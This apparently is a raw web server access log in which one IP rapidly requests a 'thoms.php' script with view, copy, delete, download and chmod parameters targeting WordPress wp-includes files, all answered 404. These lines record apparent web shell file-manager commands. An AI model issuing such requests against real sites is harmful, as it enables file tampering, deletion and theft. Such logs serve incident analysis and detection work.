45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?del=class-snoopy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?del=class-wp-exception.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?chmod=revision.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?dl=https-migration.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fwidgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fwidgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?del=theme.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?chmod=error-protection.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ferror_log&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ferror_log&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?del=taxonomy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?dl=bookmark-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?del=bookmark.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?del=class-wp-network.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frevision.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frevision.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:36 -0400] "GET /thoms.php?dl=block-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?del=class-pop3.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?del=class-wp-roles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?del=link-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?chmod=post-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?dl=bookmark.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcache-compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcache-compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?del=icons.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=icons.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?del=class-walker-comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:37 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
